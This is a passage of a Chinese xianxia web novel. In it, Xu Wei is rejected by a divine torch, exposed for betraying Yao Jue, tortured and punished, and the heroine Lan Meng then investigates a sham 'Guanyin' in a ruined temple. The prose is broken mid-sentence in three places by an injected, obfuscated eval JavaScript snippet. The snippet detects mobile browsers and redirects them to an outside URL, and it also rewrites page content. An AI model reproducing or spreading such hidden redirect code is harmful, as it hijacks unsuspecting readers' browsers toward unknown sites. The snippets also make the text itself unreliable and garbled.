岚孟自然也看到了那阵转瞬即逝的光芒,她躲在僻静幽暗的巷子里,勾起红唇无声笑了笑。 看来许渭醒了啊。 - 翌日。 天未亮,一百名预备丹灵卫便被召集在了落霞江边,大家都穿着刚刚下发的统一金白衣袍,两肩上的丝带在空中随风飘扬。 秦谬站在最前方,一挥袖,数枚玉牌便从他袖中飞出,自动落到了每个人眼前。 “诸位的山水令可要保管好了,若是不慎遗失,补办一次要交三万灵石,而且若是被有心之人捡去,用你的山水令做些不正当的事情,东窗事发之时负责任的人可是你自己,都记住了吗!” “记住了!” 秦谬的目光巡视一圈,扬声道:“莫要喧哗,排成两列跟着我走。”他率先沿着落霞江走了出去。 鸣珂看着前方一眼望不到头的队伍,压低声音朝身边人问道:“扶音,你说咱要去干啥呢?” 岚孟没说话,走在前面的袁涯邻却回了头,脸上的表情好像在说“你怎么连这也不知道,那我就大发慈悲告诉你好了”。 “是掌炬授礼大典,时隔十七年,山到源又要出新的掌炬了!” 鸣珂眯起眼:“你是说许渭?” “那当然,他引来了暾云炬的霞云,除了他任掌炬还能有谁?” “他够格吗?”鸣珂很是不信,“前任掌炬可是大妖重明,在我们妖域,他的威名可是无妖不知无妖不晓,但那许渭,不就一个名不见经传的小人物么。” “瞧你这话说的,重明不也是当了掌炬以后才名震天下的吗,更何况山主们自有考量,你操哪门子的心?”袁涯邻皱了皱眉,“不过许令尹确实有些不好的传闻啊,同重明相比确实逊色几分。” 鸣珂看向岚孟:“扶音,你怎么看?” 岚孟敛眸,勾了勾唇,意味不明道:“这是他凭本事挣来的。” 其余两人均丈二摸不着头脑,不过队伍已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929630|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入了崤山的地界,感受到庄严圣洁的气息,两人也安分下来,没有再聊闲天。 崤山半山腰有个可以容纳数万人的空地,以此为分界,其上常年飞雪,其下四季如春。这里空空荡荡,什么也没有,既没有气派的殿堂与廊柱,也没有飘扬的旌旗与芬芳的鲜花,却是掌炬就任的唯一地点,千年来,九十六位掌炬在此接过暾云炬执掌大权,立下除魔卫道的誓言。 除了在外执行任务无法返回的人,新、老丹灵卫共两万余人,在空地上站成了整齐的队列,只有少数人在窃窃私语,大部分人都笔直站在自己的位置,神情庄严肃穆。 一缕阳光从东边的山后钻了出来,正好照在空地最前方的小山坡上,几道光芒亮起,八大山主一个接一个出现在了坡顶。 所有人不约而同安静下来。 背对着晨曦,许渭一步一个脚印从人群中穿过,他穿着同样的金白礼袍,卸下了身上的所有武器,仰头看着正前方的山主们,心中的激动几乎要喷薄而出。 十七年了,他终于等到这一天。 他在坡下站定,所有丹灵卫都望着他挺拔的背影。 左愁双扭头朝玉成汝道:“先生,请吧。” 玉成汝微微颔首,他抬起手用食指从上往下化了一笔,指尖有莹莹星光亮起。 与此同时,山主们背后仍下着微雪的雪山忽然变得晴朗了起来,像是有风把雪与雾瞬间便震开了一般,崤山之上的景象赫然呈现与众人眼前。 陡峭的山坡上岩石林立,偶有草木栖在石边,在寒风中傲然挺立,一柄古朴典雅、顶端嵌着明珠的法杖插在最高处的山巅之上,在众人注视下,它缓缓动了起来,抖动得越来越急促,然后破开岩体飞下了山,径直飞到了许渭身前。 许渭一手的冷汗,他悄悄在衣襟上揩了揩,然后满怀期待地抬手向前握住了暾云炬。 他拿到了。 许渭绽开笑颜,差点失态欢呼起来,他定了定心神,握着暾云炬转身朝向前辈与后辈们。 一轮圆日完全升了起来,群山都跪倒在它的脚下,刺目的阳光普照着众生百相,灵鹤们在天穹上盘旋飞舞,悦耳的啼鸣从很远的地方传来。 许渭握紧了暾云炬。接下来的环节是给所有丹灵卫赐福,这是掌炬就任时才有的仪式,只要成功了,在场所有丹灵卫身上都会有一道他许渭布下的赐福,神力强度不亚于山水令中的。所有人都会感念他的功德,所有人都会对他顶礼膜拜,从此,他便不是霆霓坊之令尹许渭,而是掌炬许渭了! 他会比尧玦做得更好,尧玦杀不死魔他来杀,尧玦成就不了的功业他来做!他的名号会比尧玦更加响亮,他的功绩将会被载入史册,受万世敬仰! 怀揣着激动的心情,许渭将灵力注入了暾云炬之中,用心感受着灵力顺着杖身流到了顶端的明珠之中,他放松身体,让温和的暾云炬神力涌入自己的四肢百骸…… 忽然,许渭被震飞了出去,身子重重撞在土坡上,泥土窸窸窣窣落了他一身,崭新的礼袍顿时便染上了污浊。 他猛地吐出一口血来,眼睛里满是震惊。 怎么回事,他竟然被暾云炬拒绝了? 众人一片哗然。 人群中,一直低着头的岚孟缓缓抬起了眼,许渭狼狈惊愕的表情映入她的眼帘。 她不着痕迹地勾了勾唇。 好戏开场了。 35. 素兰鬼 “发生什么事了?” “怎么回事?许令尹赐福失败了?” “嘁,我就说他那样的货色怎么可能成为掌炬,也不撒泡尿照照镜子,真是癞蛤蟆想吃天鹅肉!” “你小声点,不想活了!你知不知道许令尹可是个心狠手辣的主……” 丹灵卫们议论纷纷。 身为破妄境强者的许渭怎么可能听不见?他的脸色青了又白,脸上火辣辣地疼。 他猛地站了起来,粗鲁地用袖子揩了揩脸上的血,然后大步流星朝悬浮在空中的暾云炬走去,然而这一次还不等他靠近暾云炬,一股巨大的灵力便从暾云炬上迸发开来,将他掀翻在了地上。 然而那灵力对其他丹灵卫却毫无影响,只化作轻柔的风,轻轻掀起了他们的衣角。 许渭挣扎着站起身来,想要再一次去尝试触碰暾云炬。 他怎么甘心…… 玉成汝不带一丝感情的声音乍然响起:“够了。” “许渭德行有失,不配为掌炬。” 许渭只感觉一道强大的威压加在了他的两肩之上,他拼尽全力反抗,才不至于跌进尘埃里。 众人的窃窃私语传入许渭耳中,听着那些否认、不屑的话语,许渭感觉一阵腥甜涌上喉头,眼前景物也变得模糊起来,额头冒出了一滴滴汗水,滴入了眼前的土地上,许渭目眦欲裂,盯着玉成汝声嘶力竭道:“为什么!我哪里不如尧玦!” 楚乐面带犹疑,她在犹豫要不要上前告发许渭。她扭头朝岚孟的方向看去,后者轻轻摇了摇头。 楚乐静下心来,按兵不动,耐心地观望。 两人的互动被柳逸直收入眼中。 她们果然是认识的吧!那夜闫扶音出现在许渭身边绝不是巧合! 山主们都看向玉成汝,没有任何人出言催促,丹灵卫们也安静下来,抬头仰望着那个自山到源立宗以来便镇守着崤山的仙长。 玉成汝不发一言,只隔空点了点暾云炬,那明珠顿时发出一阵刺眼的光芒,几息之后,一段不甚清晰的留影被明珠投放到了半空中。 画面中,许渭和一黑衣人站在焦黑的废墟旁,即便看不清黑衣人的容貌,却能观察道他身上丝丝缕缕的黑气,明眼人一看就知道,他绝不是正经修士,而是人人喊打的魔修。 许渭冷冰冰的话语响彻四野。 “明日此时尧玦便会抵达天门关,我不奢求能一举杀了他,但让他受点重伤,你们总做得到吧?” 黑衣人的声音嘶哑如风箱:“嗬嗬嗬,朝圣道做事,你尽可放心。” 画面一转,天门关如刀削斧劈般的天堑之下,尧玦浑身浴血,近二十个黑衣魔修联手同他缠斗,而许渭就站在天堑之上的树林里,冷眼看着下方的战场。 画面到此结束,暾云炬“嗖”地一声飞回了山巅。 玉成汝朝左愁双颔首致意,化作流光消失了。 肩上的威压一下子消失了,许渭却双腿失力,跌倒在了地上。 尧玦在掌炬这个位子上坐了太久,以至于很多人都忘记了,暾云炬乃是神器,眼观六路,耳听八方,自行考察掌炬候选人的德行,绝不接受德不配位之人执掌自己。 这算个什么事,把他当猴子一样耍着玩吗? 许渭自嘲一笑,笑声越来越大,双肩抖动得厉害。 左愁双朝丹灵卫队列中看了一眼,立即有两人走上前来,一左一右架起许渭的胳膊,将他拖了下去。 彭隽忙道:“源主,是不是有什么误会?许渭虽然严苛了一些,却不至于做出暗害尧玦的事情啊!” 本来许渭有望成为掌炬的时候,彭隽还为此沾沾自喜,自己手底下的人晋升掌炬,她这个山主面上也有光不是?结果许渭那混账却被暾云炬当场揭发德行有失,还是勾结魔族暗害掌炬这样的重罪,这不是把她的脸往地上踩吗? “彭山主,你的意思是暾云炬陷害许渭咯?”梁齐安一向看热闹不嫌事大,捋着山羊胡子似笑非笑道。 彭隽辩解道:“我自然不是怀疑暾云炬的实力,我只是担心此事是否有隐情,或许是有心之人为了陷害许渭,才假扮他的模样行不轨之事呢?” “究竟是否属实,自然会有人去核查。”左愁双道,他看向叶于明,“交给你了。” 叶于明点了点头。 左愁双继续道:“许渭关押于霆霓坊,彭山主可要看好了他。” 看着左愁双那冰冷的眼神,彭隽把求情的话咽回了嘴里。 算了,不过是个令尹,她自然不会为了一个可以替代的人去得罪其他山主。更何况,许渭要是真做过暗害尧玦这样的龌龊事,她第一个宰了他! 彭隽怒气冲冲地走了,其他山主也纷纷离开。 梁齐安留在最后主持大局。所有丹灵卫中,有六成是归他巽崖来管,见他站在山坡上半晌也不开口,还以为他有什么重要的话要说,纷纷肃穆以待,其他人见状也纷纷闭上了嘴巴。 等场面安静下来,梁齐安才狡黠地笑了笑道:“诸君都散了吧,该干嘛干嘛,事情未水落石出之前不得离开山到源一步。” 一颗石子便能激起湖面千层浪。 许渭被暾云炬选中又拒绝的事情很快便传遍了修行界,死了十七年已逐渐从人们淡忘的重明尧玦又被人从尘封的记忆里挖了出来。 各大宗门派出的探子被山到源拒之门外,只带回来一条消息:山到源重金悬赏十八年前天门关一役的相关情报。 虽然早在丹灵卫考核之前,“四派一盟”就已经讨论过不再隐瞒朝圣道魔修之事,可这次的事情可以说是将朝圣道摆在了明面上,一时间关于掌炬和朝圣道的议论甚嚣尘上,可事件中心的山到源却紧闭山门,仅有成千上万只纸鹤飞出去,又带着消息飞回来。 山到源之内亦是人人自危。 和许渭关系亲密的,当年在天门关附近的,无论职位大小,全都被叫到坤仪堂问话。十八年来坤仪堂内所有卷宗都被调出来重新核对,叶于明雷厉风行地处理了一批人,霆霓坊内的惨叫声日夜不停,清瑶宫里医修忙得脚不沾地。 相比起来,落霞坞中新晋的预备丹灵卫们就松闲得多。 通常情况下,拿到山水令以后,预备丹灵卫们要先在焱堂修习一个月,学习包括山到源各峰职能、怎么执行任务、怎么写结案书、怎么兑换功勋之类的琐事,学习遇到魔该怎么处理,并且安排弟子之间相互切磋,等等。 可如今多事之秋,巽崖丹灵卫和焱堂的弟子都被下令只能在落霞坞范围内活动,教习们也脱不开身,不仅丹灵卫修习便被搁置了,焱堂弟子们也都不上课了,大家都敞开了玩,落霞坞比以往任何时候都热闹。 诸葛宁组织了“离地草论道”,召集了十三个木灵根修士,比一比谁种的离地草功效最佳。 离地草是一种灵草,叶子像芦苇,人穿在脚上,不用走路就能前行,故称踏芦渡江,不步而行。 诸葛宁先是给每个人都发了一小袋离地草种子,让大家拿回去种。离地草长得快,十七八个时辰便成熟了,于是他们相约三天后再比试。 岚孟和言如期也受邀在列,其他人走后,诸葛宁把两人留了下来,鬼鬼祟祟地将他们俩带到了自己家里。 院子里的夹竹桃花热烈又灿烂,花树之下,一盆兰草被精心安置在木桩里,一朵小小的花苞立在枝头。 诸葛宁神气道:“怎么样?这可是我花费数年心血才培育出来的素兰鬼,全天下仅此一株!” 只见那兰花形状特异,主瓣硕大如帽,蕊柱赭红,舌苔玲珑小巧,副瓣细长如刀如剑,整体素白似有萤光笼罩,乍一看就好像是一个身量纤长的白衣剑客。 “这还得多亏了你让给我的古榆树胶,才能让它开了个花苞。”诸葛宁朝岚孟挤眉弄眼道。 “喔!”言如期叹为观止,“这就是素兰鬼啊!我只在古籍上看到过记载,据说三百多年前就已经灭绝了,宁兄,你从哪里得来的种子?” “我从祖父书房里偷的,就这一颗,他宝贝得不行,他至今还不知道那只老鼠是做了我的替罪羔羊哈哈哈!”诸葛宁毫不客气地笑道。 言如期遗憾道:“这样啊,倒是可惜。”他也想要来着。 岚孟歪头想了想,从芥子袋里掏出来一个两尺高的八宝盒,在里面翻找了半天,才捏着一枚棱角分明的长条种子,朝诸葛宁问道:“是这个吗?” 诸葛宁接过种子仔细端详一番,惊奇道:“还真是素兰鬼的种子!” 岚孟朝言如期抬了抬下巴,“那便送你了,我留着也无用。” 素兰鬼并非灵植,只是花形独特且难以人工培育,才备受木系修士推崇而已,毕竟能培育出来素兰鬼,就能说明你这个人技艺高超了。 言如期爱不释手地把种子捏在手里把玩。 诸葛宁看着岚孟尚未收起来的八宝盒,搓着手谄媚道:“嘿嘿,闫扶音,你这个盒子能不能让我见识见识?” 这样的八宝盒岚孟有好几个,这里面都是一些不值钱的种子,所以她便大方地让他们看了。 “喔喔喔霓裳苔!” “喔喔喔菱花蝶!” 大多数都是罕见的灵植,有些甚至早已灭绝,只有古老的家族里才可能有那么一两种,而闫扶音居然有一大盒!诸葛宁叹为观止,“你到底从哪里得来的这些种子?” 岚孟开始无中生友:“我有个忘年交的朋友喜欢收集草木种子,他送给我的。” 其实是前代木系神使的小爱好,他飞身上届之前将八宝盒交给了尧玦,尧玦又留给了她。 见诸葛宁和言如期两眼放光,口水都要留到地上了,岚孟便让他们每人挑十种自己喜欢的,反正她留着也是占地方。 于是两人就喜滋滋地挑到了天黑。 三日后,落霞江边,“离地草论道”的成员们纷纷拿出了自己精细培育的离地草,有长得比人高的,也有经过改良长得奇形怪状的,也有杂交了其他品类灵植的……每一个人手里的离地草都各有特点,不分伯仲。 他们各自抓了一个好心的路人帮忙试验效果。 十三个弟子脚下各自踩了一片离地草叶片,在宽阔的落霞江边站成了一排,诸葛宁一声令下,他们纷纷动动脚给了叶片一个推力,离地草便驮着他们往江面上游奔去。 有人行着行着就掉进了江里,有人一头撞在了江边的树上,最终顺利抵达终点的只有九个人。 岚孟只随手将种子按进了窗下的土里,然后便没有管过了,毫不意外地得了个不上不下的名次。 出乎众人意料的是,位列第一的是个焱堂的弟子,年方十一,还是个没长开的小姑娘,她举着诸葛宁给的奖品,骄傲得像是个开了屏的花孔雀。 后来诸葛宁又找了些种子用来比试,诸如长着青蛙一样的舌头能够捕食蝇虫的花,能根据光照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929631|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强度变幻颜色的草,等等。论道成员们白日里练功比试,夜里躲在林中听老树精们谈天说地,开心快乐的半个月很快过去了。 许渭迫害尧玦一事证据确凿,将于霆霓坊落仙台对许渭处以极刑。 行刑前一天,霆霓坊,地下水牢。 滴答滴答的水声像是悬在人头顶的一把铡刀。 许渭大半个身体都泡在加了精盐的水里,他全身上下布满了细小的伤口,不致命,但让他生不如死。水牢四个角落里各有一个雷鸣石,每隔一炷香时间,便会有细小电流从雷鸣石中钻出来,顺着水流钻进许渭的身体里,淌过他的四肢百骸,像是有一万只蚂蚁从经脉上爬过,许渭浑身瘙痒,手脚却被玄铁锁链禁锢住,永远也挠不到痒处。每隔三个时辰,水牢便会涨一次水,漫过他的头顶,挤压着他的胸腔,持续一盏茶时间才会退去。 自从自己被关到这里开始,已经过去十天了,盐水、雷击日夜折磨着他,许渭只觉得人间地狱莫过于此。 由远及近的“笃笃”脚步声打破了静谧,最后停在了许渭正前方,他抬起头,发现是坤仪堂从事楚乐,曾经追在尧玦屁股后面跑的女人。 他咧开嘴笑了,很久没有开口说话,他的声音嘶哑难听:“怎么,你特意来看我的笑话?” 楚乐面无表情地看着水牢中伤痕累累的男子,十七年来积攒在心中的愤懑与痛恨竟奇迹般的消失了,心中只剩下古井般无波无澜的平静。 她道:“你也有今天。” 许渭嗬嗬地笑,“常在水边走,哪能不湿鞋。楚乐,你以为你又能逃得掉吗?” 楚乐:“我问心无愧,可不像你一样心里装着鬼。” “是么?那个叫闫扶音的人也和你一样吗?” 楚乐岿然不动。 “我一直在想,她到底做了什么手脚,居然能引来暾云炬注视,楚乐,你知道答案的吧?” 机关算尽却落得这么个下场,许渭怎能甘心? 楚乐冷哼一声,“你想多了,我和她不熟。就算你知道又如何,还以为自己能东山再起吗?还是说,你还寄希望于高天高令尹呢?你就死了这条心吧,他早就逃之夭夭了,那还顾得上救你?” 高天就是当初为许渭拦截青丘消息的人,在掌炬授礼仪式结束以后,他就打伤守门的弟子逃跑了。他倒是跑得快,派出去抓捕他的丹灵卫现在也还找不到他的蛛丝马迹。 许渭哂笑道:“下三滥的东西。” 楚乐拔出朔风插在了水牢前的地面上,剑气与灵气一起定住了许渭的身形,如今他修为被禁,她很轻松就把一个药丸弹进了许渭的嘴里。 那丹药入口即化,许渭干呕几声,脸色涨红,声音粗粝:“你给我吃了什么?” 楚乐朝他勾了勾唇,“放心,不是毒药,我怎么舍得让你死呢?你这样的畜生就该一直活着,受千夫所指、万人唾弃,这么早死了可就便宜你了。”她收了朔风剑离开了。 没过多久,许渭便感觉浑身发热,眼前幻象频发。 有时是他把暾云炬拔出了崤山之巅,然而下一秒崤山便崩塌了,他摔进了深渊里,尧玦和其他死在他手里的人的冤魂撕咬着他的身体;有时是年幼的他满心欢喜回到家中,身体却不由自主动了起来,把手插进爹娘的胸膛,挖出了他们活蹦乱跳的心脏;有时又是他坐在囚车上,四周的百姓没有一个不朝他吐口水,身后冤魂一刻不停地戳着他的脊梁骨…… “楚乐,回来!有本事给老子个痛快啊!” “楚乐,你这个□□!你不得好死……” 渐渐地,许渭的怒骂声消停了下来,水牢传出了一声声呻吟。 救命……谁来救救我…… - 翌日,落仙台。 仅有彭隽、梁齐安两位山主到场,焱堂弟子和丹灵卫们全数来齐,近三万人乌泱泱挤在落仙台前的空地上,却无一人敢开口说话。 衣衫褴褛的许渭被押了上来,十日的水牢之刑让他形销骨立,几乎看不出人样了,一整晚的幻境折磨得他浑浑噩噩,已分不清是白天还是黑夜。 玄铁锁链将他吊了起来,双脚只将将触到地面。 转瞬之间,狂风大作,风声呜呜咽咽如鬼泣,听得人毛骨悚然。雷云在落仙台上空聚成黑压压的一团,极目望去,能看见云层之中若隐若现的电光。 “轰隆——” 刺目的闪电兜头劈下,许渭惨叫起来,浑身痉挛不止,还不等他有所缓和,第二道雷又落了下来,鲜血很快便浸满了落仙台,年纪小的焱堂弟子们纷纷捂住眼睛只留下一条缝,不少人甚至捂着嘴干呕起来。年长的丹灵卫们虽面有不适,却还是挺直了腰杆。 这场刑罚不仅是对许渭的惩戒,更是杀鸡儆猴。不允许避开目光,不允许提前离场,山到源要让所有弟子都记住,勾结魔修、暗害同门之人到底有什么下场。 雷响了九次,那团雷云才消失了。血肉模糊的许渭被人拽着双腿从落仙台上拖了下来,鲜血沿着他所过之地绽开了花。 往外走的人潮之中,岚孟蓦然回首,看着天际一道道阳光破开云层洒向大地,将在半空中徜徉盘旋的灵鹤染成了黄色。 一道不可忽视的目光从侧边传来,她扭头看去,只见一束光打在柳逸直身上,他望着她,面色柔和,眼神意味不明。 岚孟别开眼,转回身,将肩后帷帽扣在了头顶,顺着人潮走了出去。 36. 观音庙 十一月初五,介城。 介城隶属逐州,位于逐、陵、崇三州交界之地,是个安宁祥和的小城,虽然不大,但往来商贾都会在此落脚,比其他城池要繁华得多。 酉时将近,进城的队伍排得很长,守城将士仔细检查着马车队和货物。两个士兵从远处城内奔来,和守城将讲了几句话,便高喊着让没有马车的行人另起一个队伍。 行人陆陆续续走到了新的队伍里,恭敬地把身份文牒递给官爷检查。 队伍里有个背着包袱、戴着黑色帷帽的女子,宽大的灰蓝色衣袍在风中轻轻鼓动。她拍了拍自己前面之人的肩膀,问道:“这位大爷,怎么现在进城这么严格,是出了什么事吗?” 大爷是个热心肠的大爷,他耐心解释道:“陵州有个很厉害的仙门,你知道吧?听说他们在抓捕的犯人好像逃到我们这边了,所以才查得严哩!” 岚孟往前看去,果然见城门边站着一个丹灵卫,腰间还挂着一枚青色的山水令,是个知行境的游走,他正聚精会神地盯着进城的每一个人。 “听说那犯人十多年前陷害了他的同门,知道自己要被处死以后就逃跑了。他长着三头六臂,还会吃人哩!你一个弱女子,晚上可千万不要出门,小心被捉了去!” 岚孟弯唇笑了笑,和大爷道了声谢。很快轮到她了,岚孟从包袱里抽出身份文牒递了过去。 “闫扶音,宁州折梅乡人士。”守城将士念出了身份文牒上的名字。 岚孟轻轻点头:“是。” “这么大老远跑来做什么的?” “我家那口子和狐狸精私奔了,我来捉奸。”岚孟张口就来。 “从宁州跑到逐州?”守城将士嘴角略抽。 “可不得跑远点?太近了被我这个糟糠妻抓住了怎么办?” “……进去吧。”守城将士把身份文牒递了回去。上头让他们抓的是个男人,一个娇滴滴的姑娘能掀起什么风浪来?遇到女人时他基本上都只是看一眼身份文牒走个过场,以免被上官揪住小辫子。 进城以后,岚孟找了个客栈住下,随意吃了点东西填饱肚子,然后往城北走去。 介城北部有一座不高的荒山,叫梧桐山。趁着朦胧的暮色,她来到小山上,坐在高高的树枝顶端,俯瞰着全城的景象,用象耳竺折了几只麻雀,放飞出去打探消息。 半个月前,雷刑打散了许渭的一身修为,他被放逐于布置了结界的南海荒岛,想必以后再也翻不出什么浪花来。岚孟懒得去取他的狗命,而且也不想再生事端,省得被那些个山主察觉端倪,于是随便接了任务,连夜离开了山到源。 之后便一直在陵州境内收集苍生泪,直到收到消息,说是介城有疑似魅妖的存在出现,来的路上又打听到高天似乎跑到了介城附近,所以便加快速度赶了过来。 最后一丝阳光也落下了西山,守城将士们吆喝着准备关城门了,这时,一个黑衣人从远处掠了过来,守在城门口的游走见状立即拔刀大喊:“来者何人!” 来人在城门口停了下来,亮出了一块黑色令牌,游走眸光微颤,将刀收了起来,他快步走过去,朝那人抱了抱拳,“柳师兄。” 柳逸直点了点头,“不必客气。有高天的消息吗?” 游走摇了摇头,“追到介城附近就让他给跑了,我们在周围的城池都设下了伏兵,暂时还不知他是不是进了介城。” “我知道了,辛苦你们继续盯着了。” “柳师兄言重了,这都是我们该做的。” 两人寒暄一阵,柳逸直便进了城中。 天已经完全黑了,家家户户都点起了昏黄的烛火,柳逸直孤身一人走在宽阔幽暗的街道上,凝神分辨着夜风传来的动静。 忽然,他扭头朝身后看去,只见一只小鸟蹲在一户人家的墙头,用屁股对着他。 麻雀?柳逸直蹙起了眉。 不对,是象耳竺,看着那麻雀粗糙的身体,他大概知道那是谁的杰作了。 ——闫扶音那家伙果然在介城! 当初,他奉命押送许渭去往南海,还在怀疑她会不会来偷袭呢,戒备了一路,结果一路上风平浪静,顺顺利利将人送进荒岛之中。 他都开始怀疑是不是自己猜错了。莫非她和许渭并没有仇怨?为了打击报复许渭,所以才在他身上做手脚、让他身败名裂一事,也是他自己的臆想? 柳逸直的直觉一向很准,他坚信闫扶音此人和尧玦一定有千丝万缕的关系,他只看到了冰山一角,所以才不能得知事情的全貌罢了。 从南海回来以后,他才得知闫扶音早在山门开启的那一日就离开了,至今也没有回来。正好逐州有了高天的消息,他便匆匆赶了过来。若闫扶音所为目的在于为尧玦报仇,那她定然不会错过手刃小人的机会! 这不,还是让他抓住了她的小辫子。 这时,象耳竺麻雀扑腾着翅膀飞了起来,他立即隐去声息跟了上去。 麻雀漫无目的地飞了几条街,就在柳逸直怀疑她是不是已经察觉到了他在暗中跟随,所以才让麻雀把他领到死胡同时,麻雀忽然“啪叽”一声掉在了地上,柳逸直连忙跑过去捡起恢复成了叶子的象耳竺,往上面贴了一道追踪符,很快,追踪符化成了一缕青烟,以极快的速度朝北边飘去。 那缕烟飘进一座荒山以后便消失了,柳逸直走在林间小道上,忽闻背后传来枯枝轻响,他扭头看去,只见闫扶音站在树后,眉头紧锁道:“怎么是你?” 柳逸直露出笑容:“不然你以为是谁,闫师妹?” 岚孟不耐烦地抓了一下头发。她就说是谁一直跟着象耳竺麻雀呢,原来是这个冤家。 她从阴影里走了出来,问道:“柳师兄怎么来了这里?” 柳逸直如实道:“来追查高天的下落。” 岚孟心想,看来高天在介城这件事是八九不离十了。 “闫师妹又怎会在此?” 岚孟道:“介城有魅妖作祟,我接了任务。” 魅又叫千面鬼,以人为食,可以随意变化模样,若是吃了这个人,它的声音、容貌甚至行为举止都能做到分毫不差,是人人得而诛之的恶妖。 “有线索?”柳逸直问道。 岚孟一边朝山上走一边道:“山上有个观音庙,据说十多年前因为被雷劈了大殿,庙里的姑子们就搬去城外了,这里的庙便荒废了。半个月前,庙里忽然来了个观音,能变成画像之中的人,我觉得或许是魅妖作祟。” “原来如此。”柳逸直道,“那是有人见了那观音之后被吃了?” “就是因为没有才奇怪,百姓们对观音的评价都还不错。只不过要见她可不容易,”岚孟抄起挡了路的枯树枝,将其扔到了山道下方,扭头看向柳逸直,意味深长道:“得花钱。” 她伸出五个手指头,在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929632|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前晃了晃,“这个数。” 柳逸直猜测道:“五两?五十两?五百两!不能再多了。” 岚孟摇了摇头:“五文钱。” 柳逸直嘴角抽了抽,腹诽道,就五文钱,亏你还说得那么神神秘秘的。 他感觉今夜的闫扶音比往日要放松许多,若不是神色如常、说话条理清晰,那放松的姿态简直就和喝醉酒那晚一般无二。 一座饱经风霜的破庙出现在两人眼前,只见有两个人手里各自抱着一个卷轴,神色虔诚地跪在大门前。 很快,一个女子夺门而出,跪在地上的其中一个人大喜过望,连忙抱着卷轴跑了进去。 那女子哭哭啼啼地走了下来,岚孟凑了上去,温声问道:“姑娘,你在里面看到什么了?” 姑娘抹了抹眼泪道:“我看到我那早死的夫君了,真的一模一样,他笑着和我说话呢!” 或许是想要有人倾诉,姑娘抓着岚孟的手开始倒起苦水来,说她这些年一个人带孩子怎么怎么不容易,说着说着她又哭了起来,岚孟手忙脚乱地递给她一方帕子,好说歹说才把人劝住了。 目送那女子走下山道,岚孟心想,或许还真不是魅妖作祟。 就在岚孟安慰女子的时候,柳逸直花了一块银子,从还跪在庙门口的男子手里换来了见“观音”的机会,男子抱着卷轴和一锭银子喜滋滋地下了山。 “观音一个晚上只见五个人,这就是最后一个了。”柳逸直把男子交给他的铜片放在了岚孟手里。 岚孟捏着三角状的铜片看了又看,蹙眉道:“这铜片是长明灯上的。” 佛家寺庙里多供奉长命灯,灯火日夜不停,明灯不灭,佛法永续,样式多为莲花状,这个铜片显然就是长明灯上掰下来的,不过看锈蚀程度,说不定是当年寺庙换址之前就留下来的了。 这时,先前进了门的男子也哭哭啼啼推开庙门走了出来,柳逸直道:“你去吧,我在外面望风。” 岚孟捏着铜片走了进去。在她的想象中,这观音庙该是杂草丛生、荒凉冷寂的模样,可事实却大相径庭,虽然屋子破败不堪,可地面整洁干净,屋檐上一个蜘蛛网也没有,显然是有人来打扫过。 观音庙黑漆漆的,只有一个大殿。岚孟才走到院子中央,一个女子便忽然出现在了紧闭的殿门前,她以轻纱覆面,身着一袭古朴典雅的红裙,朝着岚孟盈盈一拜,嗓音犹如天籁一般动听。 “奴家乃是观音的使者西明夫人,姑娘跟着奴家进来吧。” 无人去推动,殿门却“吱嘎”一声开了,红衣娘子脚不沾地,倒退回了殿中,大殿里的灯“刷”地一下全亮了,一个女子的剪影投射在了破窗上。 瞧这架势确实挺能唬人的,难怪那些百姓深信不疑,岚孟腹诽道。 她走进了大殿里,殿中悬挂着无数坠地红纱,那女子就跪坐在红纱之后,只有穿堂的风将红纱掀起时,才能瞥见她端正的坐姿和瘦削的身板。 温柔轻缓的声音传入岚孟耳中:“姑娘,请你将画像交给西明夫人吧。” 西明夫人笑意盈盈地朝岚孟摊开了手。 岚孟看了西明夫人白皙的手掌一眼,然后大步流星朝大殿深处走去,西明夫人追在后面呼喊。 她一把拉开了阻隔视线的红纱,满脸惊愕与慌张的少女撞入她的眼中。 “我还当是何方神圣,原来不过是个装神弄鬼的凡人。” 37. 剑如霜 “你这女子好生无礼!”西明夫人怒气冲冲地飘过来挡在少女面前,两手叉腰,摆出一副悍妇姿势,质问道:“你是存心来找茬的吗!就算是修士也不带你这样的!我们可没有做什么伤天害理的事情!” 岁弥从西明夫人后面探出脑袋,怯生生道:“姐姐,你是修士吗?” 小姑娘瞧着不过豆蔻年华,眉间用朱砂点了一颗红痣,瞧着倒是有几分观音的样子,只不过她如玉的面颊没有一点血色,像是在病中。 岚孟瞅她一眼,越过西明夫人坐到她面前的案桌上,扭头问她:“怎么,不像?” 岁弥点了点头,又摇了摇头,“我没见过修士,我也不知道修士该长什么样子。” 